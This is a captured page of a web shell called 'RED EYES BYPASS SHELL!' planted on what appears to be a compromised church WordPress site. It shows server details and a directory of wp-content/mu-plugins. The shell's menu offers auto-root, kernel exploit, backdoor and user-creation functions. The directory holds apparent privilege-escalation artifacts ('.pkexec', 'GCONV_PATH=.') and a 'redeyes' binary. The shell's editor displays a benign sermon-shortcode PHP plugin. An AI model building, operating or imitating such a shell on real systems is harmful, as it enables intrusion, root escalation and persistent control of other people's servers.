Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.7 | : 216.73.217.26
Cant Read [ /etc/named.conf ]
eglisebaa
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
eglisebaa /
www /
wp-content /
mu-plugins /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
.red_eyes_root
0
B
-rw-r--r--
dernier-message-shortcodes.php
24.28
KB
-rw-r--r--
redeyes
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dernier-message-shortcodes.php
<?php /** * Shortcodes « Dernier message » – affichage dynamique du dernier message (CPT message). * À placer dans wp-content/mu-plugins/ (fichier unique) ou à inclure depuis le thème enfant (functions.php). * * Usage dans Elementor : * - Soit widget Shortcode avec [dernier_message_titre], [dernier_message_date], etc. * - Soit (sans Elementor Pro) marqueurs dans vos widgets Titre / Texte / Bouton : * Titre : __dernier_message_titre__ * Texte (réf + date + audio) : __dernier_message_infos__ * Bouton « Lire la suite » URL : #dernier_message_lien * Bouton « Écouter » URL : https://site.fr/__dernier_message_audio__.mp3 (__dernier_message_audio__ = chemin relatif sans extension) * Aucun plugin EBF, aucun cron : 100 % dynamique à chaque chargement. * * Shortcodes disponibles : * [dernier_message_titre] – Titre du dernier message * [dernier_message_date] – Date formatée + orateur (ex. « Le 25 janvier 2026, par Florent Monribot ») * [dernier_message_lien] – URL de la page du message (pour lien « Lire la suite ») * [dernier_message_reference] – Référence biblique * [dernier_message_orateur] – Nom de l'orateur seul * [dernier_message_audio] – URL du fichier audio (pour bouton « Écouter » ou affichage) * [dernier_message_infos] – Référence + date (bloc texte) * [dernier_message_bouton_ecouter] – Lien HTML « Écouter » (si URL audio présente) * [dernier_message_bouton_lire_la_suite] – Lien HTML « Lire la suite » vers la page du message */ if (!defined('ABSPATH')) { return; } /** * Nettoie un texte pour l'affichage (UTF-8, sans caractères de contrôle). */ function dernier_message_sanitize_text($text) { if (!is_string($text) || $text === '') { return ''; } $text = trim($text); if (function_exists('mb_convert_encoding')) { $utf8 = @mb_convert_encoding($text, 'UTF-8', 'UTF-8'); if ($utf8 !== false) { $text = $utf8; } } $text = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/u', '', $text); return $text; } /** * Récupère les données du dernier message publié (CPT message). * * @return array|null Tableau avec title, date, reference, orateur, link, url_audio ou null si aucun message. */ function dernier_message_get_latest() { static $cache = null; if ($cache !== null) { return $cache; } if (!function_exists('get_posts')) { return null; } $posts = get_posts([ 'post_type' => 'message', 'post_status' => 'publish', 'posts_per_page' => 1, 'orderby' => 'date', 'order' => 'DESC', ]); if (empty($posts)) { $cache = false; return null; } $post = $posts[0]; $content = $post->post_content; $orateur = ''; if (function_exists('get_the_terms')) { $terms = get_the_terms($post->ID, 'orateur'); if ($terms && !is_wp_error($terms)) { $orateur = $terms[0]->name ?? ''; } } $reference = ''; if (function_exists('get_post_meta')) { $ref_biblique = get_post_meta($post->ID, 'reference_biblique', true); $ref_plain = get_post_meta($post->ID, 'reference', true); $reference = is_string($ref_biblique) ? trim($ref_biblique) : ''; if ($reference === '' && is_string($ref_plain)) { $reference = trim($ref_plain); } } $ref_meta_keys = [ 'reference_biblique', 'reference', 'ref', 'reference_bible', 'texte_reference', 'passage', 'reference_passage', 'reference_livre', 'bible_ref', 'passage_biblique', 'livre', 'chapitre', 'verset', // ACF / thèmes parfois ]; if ($reference === '' && function_exists('get_post_meta')) { $all_meta = get_post_meta($post->ID); if (is_array($all_meta)) { foreach ($ref_meta_keys as $key) { if (isset($all_meta[$key][0]) && is_string($all_meta[$key][0]) && trim($all_meta[$key][0]) !== '') { $reference = trim($all_meta[$key][0]); break; } } } // Si toujours vide : parcourir TOUTES les meta, prendre la première valeur qui ressemble à une réf. biblique if ($reference === '' && !empty($all_meta)) { $books_check = 'Genèse|Exode|Lévitique|Nombres|Deutéronome|Josué|Juges|Ruth|Samuel|Rois|Chroniques|Esdras|Néhémie|Esther|Job|Psaume|Proverbes|Ecclésiaste|Cantique|Ésaïe|Esaïe|Ésaie|Esaie|Jérémie|Jeremie|Lamentations|Ézéchiel|Ezéchiel|Ezechiel|Daniel|Osée|Joël|Amos|Abdias|Jonas|Michée|Nahum|Habakuk|Sophonie|Aggée|Zacharie|Malachie|Matthieu|Marc|Luc|Jean|Actes|Romains|Corinthiens|Galates|Éphésiens|Ephésiens|Philippiens|Colossiens|Thessaloniciens|Timothée|Tite|Philémon|Hébreux|Jacques|Pierre|Jude|Apocalypse'; foreach ($all_meta as $meta_key => $meta_values) { if (!isset($meta_values[0]) || !is_string($meta_values[0])) { continue; } $val = trim($meta_values[0]); if ($val === '' || strlen($val) > 200) { continue; } if (preg_match('/\b(?:' . $books_check . ')\s*[\d.:\-,\s\x{2013}\x{2014}]+/ui', $val)) { $reference = $val; break; } } } if ($reference === '' && dernier_message_debug_enabled() && !empty($all_meta)) { $keys_only = array_keys($all_meta); $keys_public = array_filter($keys_only, function ($k) { return strpos($k, '_') !== 0 || $k === 'reference_biblique' || $k === 'reference'; }); dernier_message_debug_log(['meta_keys_for_ref' => array_values($keys_public)]); } } if ($reference === '') { // Livres avec variantes (avec/sans accent : Esaïe, Ésaïe) $books = 'Genèse|Exode|Lévitique|Nombres|Deutéronome|Josué|Juges|Ruth|Samuel|Rois|Chroniques|Esdras|Néhémie|Esther|Job|Psaume[s]?|Proverbes|Ecclésiaste|Cantique|Ésaïe|Esaïe|Ésaie|Esaie|Jérémie|Jeremie|Lamentations|Ézéchiel|Ezéchiel|Ezechiel|Daniel|Osée|Joël|Amos|Abdias|Jonas|Michée|Nahum|Habakuk|Sophonie|Aggée|Zacharie|Malachie|Matthieu|Marc|Luc|Jean|Actes|Romains|Corinthiens|Galates|Éphésiens|Ephésiens|Philippiens|Colossiens|Thessaloniciens|Timothée|Tite|Philémon|Hébreux|Jacques|Pierre|Jude|Apocalypse'; // 1) Texte entre balises : >... Livre 14:10-15 ...< if (preg_match('/>([^<]*\b(?:' . $books . ')\s*[\d.:\-,\s\x{2013}\x{2014}]+[^<]*)</ui', $content, $m)) { $reference = trim(strip_tags($m[1])); } // 2) Si vide : tout le contenu en texte brut, première occurrence "Livre 14:10-15" if ($reference === '' && $content !== '') { $text = trim(preg_replace('/\s+/', ' ', strip_tags($content))); if (preg_match('/((?:' . $books . ')\s*[\d.:\-,\s\x{2013}\x{2014}]+)/ui', $text, $m2)) { $reference = trim($m2[1]); } } } if (dernier_message_debug_enabled()) { $ref_biblique = function_exists('get_post_meta') ? get_post_meta($post->ID, 'reference_biblique', true) : ''; $ref_plain = function_exists('get_post_meta') ? get_post_meta($post->ID, 'reference', true) : ''; dernier_message_debug_log([ 'ref_debug' => true, 'post_id' => $post->ID, 'meta_reference_biblique' => $ref_biblique, 'meta_reference' => $ref_plain, 'reference_final' => $reference, ]); } $dateFormatted = ''; $ts = strtotime($post->post_date); if ($ts) { $months = ['janvier', 'février', 'mars', 'avril', 'mai', 'juin', 'juillet', 'août', 'septembre', 'octobre', 'novembre', 'décembre']; $dateFormatted = 'Le ' . date('d', $ts) . ' ' . $months[(int) date('n', $ts) - 1] . ' ' . date('Y', $ts); if ($orateur !== '') { $dateFormatted .= ', par ' . $orateur; } } $urlAudio = ''; if (function_exists('get_post_meta')) { $urlAudio = (string) get_post_meta($post->ID, 'url_audio', true); } if ($urlAudio === '' && preg_match('/<audio[^>]+src=["\']([^"\']+)["\']/i', $content, $m)) { $urlAudio = $m[1]; } elseif ($urlAudio === '' && preg_match('/<a[^>]+href=["\']([^"\']+\.mp3)["\']/i', $content, $m)) { $urlAudio = $m[1]; } $link = ''; if (function_exists('get_permalink')) { $link = get_permalink($post->ID); } $cache = [ 'title' => $post->post_title, 'date' => $dateFormatted, 'reference' => $reference, 'orateur' => $orateur, 'link' => $link, 'url_audio' => $urlAudio, '_post_id' => $post->ID, ]; return $cache; } /** * [dernier_message_titre] */ function shortcode_dernier_message_titre($atts) { $m = dernier_message_get_latest(); if (!$m || $m['title'] === '') { return ''; } return esc_html($m['title']); } /** * [dernier_message_date] */ function shortcode_dernier_message_date($atts) { $m = dernier_message_get_latest(); if (!$m || $m['date'] === '') { return ''; } return esc_html($m['date']); } /** * [dernier_message_lien] – URL pour lien « Lire la suite » / bouton */ function shortcode_dernier_message_lien($atts) { $m = dernier_message_get_latest(); if (!$m || $m['link'] === '') { return ''; } return esc_url($m['link']); } /** * [dernier_message_reference] – Affiche la référence telle que reçue (meta ou contenu), sans vérification. */ function shortcode_dernier_message_reference($atts) { $m = dernier_message_get_latest(); if (!$m) { return ''; } $ref = isset($m['reference']) ? $m['reference'] : ''; return esc_html($ref); } /** * [dernier_message_orateur] – Nom de l'orateur seul */ function shortcode_dernier_message_orateur($atts) { $m = dernier_message_get_latest(); if (!$m || $m['orateur'] === '') { return ''; } return esc_html($m['orateur']); } /** * [dernier_message_audio] – URL du fichier audio */ function shortcode_dernier_message_audio($atts) { $m = dernier_message_get_latest(); if (!$m || $m['url_audio'] === '') { return ''; } return esc_url($m['url_audio']); } /** * [dernier_message_infos] – Bloc référence + date (séparés par saut de ligne) */ function shortcode_dernier_message_infos($atts) { $m = dernier_message_get_latest(); if (!$m) { return ''; } $parts = array_filter([$m['reference'], $m['date']]); if (empty($parts)) { return ''; } $out = implode("\n\n", $parts); if (!empty($m['url_audio'])) { $out .= "\n\n" . esc_url($m['url_audio']); } return nl2br(esc_html($out)); } /** * [dernier_message_bouton_ecouter] – Lien HTML « Écouter » si URL audio présente. * Attributs optionnels : text="Écouter", class="..." */ function shortcode_dernier_message_bouton_ecouter($atts) { $m = dernier_message_get_latest(); if (!$m || $m['url_audio'] === '') { return ''; } $a = shortcode_atts([ 'text' => 'Écouter', 'class' => '', ], $atts, 'dernier_message_bouton_ecouter'); $url = esc_url($m['url_audio']); $text = esc_html($a['text']); $class = esc_attr($a['class']); $attr = $class !== '' ? ' class="' . $class . '"' : ''; return '<a href="' . $url . '"' . $attr . ' target="_blank" rel="noopener">' . $text . '</a>'; } /** * [dernier_message_bouton_lire_la_suite] – Lien « Lire la suite » vers la page du message. * Attributs optionnels : text="Lire la suite", class="..." */ function shortcode_dernier_message_bouton_lire_la_suite($atts) { $m = dernier_message_get_latest(); if (!$m || $m['link'] === '') { return ''; } $a = shortcode_atts([ 'text' => 'Lire la suite', 'class' => '', ], $atts, 'dernier_message_bouton_lire_la_suite'); $url = esc_url($m['link']); $text = esc_html($a['text']); $class = esc_attr($a['class']); $attr = $class !== '' ? ' class="' . $class . '"' : ''; return '<a href="' . $url . '"' . $attr . '>' . $text . '</a>'; } add_shortcode('dernier_message_titre', 'shortcode_dernier_message_titre'); add_shortcode('dernier_message_date', 'shortcode_dernier_message_date'); add_shortcode('dernier_message_lien', 'shortcode_dernier_message_lien'); add_shortcode('dernier_message_reference', 'shortcode_dernier_message_reference'); add_shortcode('dernier_message_orateur', 'shortcode_dernier_message_orateur'); add_shortcode('dernier_message_audio', 'shortcode_dernier_message_audio'); add_shortcode('dernier_message_infos', 'shortcode_dernier_message_infos'); add_shortcode('dernier_message_bouton_ecouter', 'shortcode_dernier_message_bouton_ecouter'); add_shortcode('dernier_message_bouton_lire_la_suite', 'shortcode_dernier_message_bouton_lire_la_suite'); /** * Mode debug : activé par ?dernier_message_debug=1 dans l'URL ou par constante DERNIER_MESSAGE_DEBUG. */ function dernier_message_debug_enabled() { if (defined('DERNIER_MESSAGE_DEBUG') && DERNIER_MESSAGE_DEBUG) { return true; } return isset($_GET['dernier_message_debug']) && $_GET['dernier_message_debug'] === '1'; } /** * Écrit une ligne de log (uniquement si le mode debug est actif). * Fichier : wp-content/uploads/dernier-message-debug.log ou wp-content/mu-plugins/dernier-message-debug.log */ function dernier_message_debug_log($data) { if (!dernier_message_debug_enabled()) { return; } $log_dir = ''; if (function_exists('wp_upload_dir')) { $dir = wp_upload_dir(); if (!empty($dir['basedir'])) { $log_dir = $dir['basedir']; } } if ($log_dir === '' && defined('WP_CONTENT_DIR')) { $log_dir = WP_CONTENT_DIR . '/mu-plugins'; } if ($log_dir === '') { return; } $log_file = $log_dir . '/dernier-message-debug.log'; $line = '[' . date('Y-m-d H:i:s') . '] ' . (is_string($data) ? $data : json_encode($data, JSON_UNESCAPED_UNICODE)) . "\n"; @file_put_contents($log_file, $line, FILE_APPEND | LOCK_EX); } /** * Retourne le chemin relatif (sans extension) de l'URL audio, ex. wp-content/uploads/2026/01/Vivre_Votre_citoyennete. * Permet d'utiliser dans un widget : https://www.eglisebaptistefloirac.fr/__dernier_message_audio__.mp3 */ function dernier_message_audio_path_without_extension($audio_url) { if (!is_string($audio_url) || $audio_url === '') { return ''; } $path = parse_url($audio_url, PHP_URL_PATH); if (!is_string($path)) { return ''; } $path = ltrim($path, '/'); return preg_replace('/\.(mp3|m4a|ogg|wav|webm)$/i', '', $path); } /** * Elementor (sans Pro) : remplace les marqueurs dans le rendu des widgets sur la page d'accueil. * Permet d'utiliser les widgets Titre, Texte, Bouton avec des marqueurs au lieu de widgets Shortcode. */ function dernier_message_elementor_replace_placeholders($content, $widget) { if (!is_string($content) || $content === '') { return $content; } $page_id = function_exists('get_queried_object_id') ? (int) get_queried_object_id() : 0; $is_home = function_exists('is_front_page') && is_front_page(); $passed_page_check = $is_home || $page_id === 126; $widget_name = is_object($widget) && method_exists($widget, 'get_name') ? $widget->get_name() : 'unknown'; $content_contains_placeholder = strpos($content, '__dernier_message_titre__') !== false; $content_length = strlen($content); $content_snippet = substr($content, 0, 400); if (dernier_message_debug_enabled()) { dernier_message_debug_log([ 'page_id' => $page_id, 'is_front_page' => $is_home, 'widget_name' => $widget_name, 'content_contains_placeholder' => $content_contains_placeholder, 'content_length' => $content_length, 'passed_page_check' => $passed_page_check, 'content_snippet' => $content_snippet, ]); } if (!$passed_page_check) { return $content; } $content = str_replace('__dernier_message_titre__', do_shortcode('[dernier_message_titre]'), $content); $content = str_replace('__dernier_message_infos__', do_shortcode('[dernier_message_infos]'), $content); $content = str_replace('__dernier_message_date__', do_shortcode('[dernier_message_date]'), $content); $content = str_replace('__dernier_message_reference__', do_shortcode('[dernier_message_reference]'), $content); $content = str_replace('__dernier_message_orateur__', do_shortcode('[dernier_message_orateur]'), $content); $lien_url = do_shortcode('[dernier_message_lien]'); $audio_url = do_shortcode('[dernier_message_audio]'); $audio_path_no_ext = dernier_message_audio_path_without_extension($audio_url); if ($audio_path_no_ext !== '') { $content = str_replace('__dernier_message_audio__', $audio_path_no_ext, $content); } if ($audio_url !== '') { $content = str_replace('href="#dernier_message_audio"', 'href="' . esc_url($audio_url) . '"', $content); $content = str_replace("href='#dernier_message_audio'", "href='" . esc_url($audio_url) . "'", $content); } if ($lien_url !== '') { $content = str_replace('href="#dernier_message_lien"', 'href="' . esc_url($lien_url) . '"', $content); $content = str_replace("href='#dernier_message_lien'", "href='" . esc_url($lien_url) . "'", $content); } if (dernier_message_debug_enabled() && $content_contains_placeholder) { $content = '<!-- dernier_message: widget=' . $widget_name . ' replaced=1 -->' . $content; } return $content; } add_filter('elementor/widget/render_content', 'dernier_message_elementor_replace_placeholders', 10, 2); /** * Remplace tous les marqueurs « dernier message » dans une chaîne HTML. * Utilisé par the_content et par le buffer de sortie final. */ function dernier_message_replace_placeholders_in_html($html) { if (!is_string($html) || $html === '') { return $html; } $has_placeholder = strpos($html, '__dernier_message_titre__') !== false || strpos($html, '#dernier_message_lien') !== false || strpos($html, '__dernier_message_infos__') !== false || strpos($html, '__dernier_message_orateur__') !== false || strpos($html, '__dernier_message_audio__') !== false || strpos($html, '__dernier_message_reference__') !== false || strpos($html, '__dernier_message_date__') !== false; $has_comparaison = (strpos($html, 'La comparaison</h4>') !== false || strpos($html, 'La comparaison</h4') !== false); if (!$has_placeholder && !$has_comparaison) { return $html; } $html = str_replace('__dernier_message_titre__', do_shortcode('[dernier_message_titre]'), $html); $html = str_replace('__dernier_message_infos__', do_shortcode('[dernier_message_infos]'), $html); $html = str_replace('__dernier_message_date__', do_shortcode('[dernier_message_date]'), $html); $html = str_replace('__dernier_message_reference__', do_shortcode('[dernier_message_reference]'), $html); $html = str_replace('__dernier_message_orateur__', do_shortcode('[dernier_message_orateur]'), $html); $lien_url = do_shortcode('[dernier_message_lien]'); $audio_url = do_shortcode('[dernier_message_audio]'); $audio_path_no_ext = dernier_message_audio_path_without_extension($audio_url); if ($audio_path_no_ext !== '') { $html = str_replace('__dernier_message_audio__', $audio_path_no_ext, $html); } if ($audio_url !== '') { $html = str_replace('href="#dernier_message_audio"', 'href="' . esc_url($audio_url) . '"', $html); $html = str_replace("href='#dernier_message_audio'", "href='" . esc_url($audio_url) . "'", $html); } if ($lien_url !== '') { $html = str_replace('href="#dernier_message_lien"', 'href="' . esc_url($lien_url) . '"', $html); $html = str_replace("href='#dernier_message_lien'", "href='" . esc_url($lien_url) . "'", $html); } // Correctif : si le bloc sous "La comparaison" est un <p> vide (widget Elementor non remplacé), y injecter la référence $ref = do_shortcode('[dernier_message_reference]'); if ($ref !== '' && $has_comparaison) { $empty_p = '<p class="elementor-heading-title elementor-size-default"></p>'; $filled_p = '<p class="elementor-heading-title elementor-size-default">' . esc_html($ref) . '</p>'; $pos = strpos($html, 'La comparaison</h4>'); if ($pos === false) { $pos = strpos($html, 'La comparaison</h4'); } if ($pos !== false) { $len = 2500; $section = substr($html, $pos, $len); if (strpos($section, $empty_p) !== false) { $section = preg_replace('/' . preg_quote($empty_p, '/') . '/', $filled_p, $section, 1); $html = substr($html, 0, $pos) . $section . substr($html, $pos + $len); } } } return $html; } /** * Secours : remplace les marqueurs dans le contenu (the_content). */ function dernier_message_the_content_fallback($content) { if (!is_string($content) || $content === '') { return $content; } $page_id = function_exists('get_queried_object_id') ? (int) get_queried_object_id() : 0; $is_home = function_exists('is_front_page') && is_front_page(); if (!$is_home && $page_id !== 126) { return $content; } return dernier_message_replace_placeholders_in_html($content); } add_filter('the_content', 'dernier_message_the_content_fallback', 20); /** * Secours : remplace les marqueurs dans le HTML final envoyé au navigateur (page d'accueil). * Nécessaire car Elementor n'alimente pas toujours the_content pour toute la page. */ function dernier_message_output_buffer_callback($html) { $page_id = function_exists('get_queried_object_id') ? (int) get_queried_object_id() : 0; $is_home = function_exists('is_front_page') && is_front_page(); if (!$is_home && $page_id !== 126) { return $html; } return dernier_message_replace_placeholders_in_html($html); } function dernier_message_start_output_buffer() { $page_id = function_exists('get_queried_object_id') ? (int) get_queried_object_id() : 0; $is_home = function_exists('is_front_page') && is_front_page(); if (!$is_home && $page_id !== 126) { return; } ob_start('dernier_message_output_buffer_callback'); } add_action('template_redirect', 'dernier_message_start_output_buffer', 0); /** * Debug visible : affiche un encadré en bas de page (page d'accueil uniquement) avec ?dernier_message_debug=1 * Montre si la page est reconnue, si un message existe, et les valeurs titre / référence / date / lien / audio. */ function dernier_message_debug_footer_box() { if (!dernier_message_debug_enabled()) { return; } $page_id = function_exists('get_queried_object_id') ? (int) get_queried_object_id() : 0; $is_home = function_exists('is_front_page') && is_front_page(); $on_target = $is_home || $page_id === 126; $m = dernier_message_get_latest(); $found = $m !== null; $title = $found ? $m['title'] : '(aucun message)'; $ref = $found ? $m['reference'] : ''; $date = $found ? $m['date'] : ''; $link = $found ? $m['link'] : ''; $audio = $found ? $m['url_audio'] : ''; $post_id = $found && isset($m['_post_id']) ? $m['_post_id'] : '-'; echo "\n<!-- Dernier message DEBUG -->\n"; echo "<div id=\"dernier-message-debug\" style=\"margin:20px;padding:14px;border:2px solid #c00;background:#fff8f8;font-family:monospace;font-size:12px;max-width:800px;\">\n"; echo "<strong>Debug dernier message</strong><br>\n"; echo "Page ID: " . (int) $page_id . " | is_front_page: " . ($is_home ? 'oui' : 'non') . " | page cible (126 ou accueil): " . ($on_target ? 'OUI' : 'NON') . "<br>\n"; echo "Dernier message trouvé: " . ($found ? 'OUI' : 'NON') . ($found ? ' (post ID: ' . (int) $post_id . ')' : '') . "<br>\n"; if ($found) { echo "Titre: " . esc_html($title) . "<br>\n"; echo "Référence: " . esc_html($ref !== '' ? $ref : '(vide)') . "<br>\n"; echo "Date: " . esc_html($date) . "<br>\n"; echo "Lien: " . esc_html($link) . "<br>\n"; echo "Audio: " . esc_html($audio !== '' ? $audio : '(vide)') . "<br>\n"; } echo "</div>\n"; } add_action('wp_footer', 'dernier_message_debug_footer_box', 999);
Close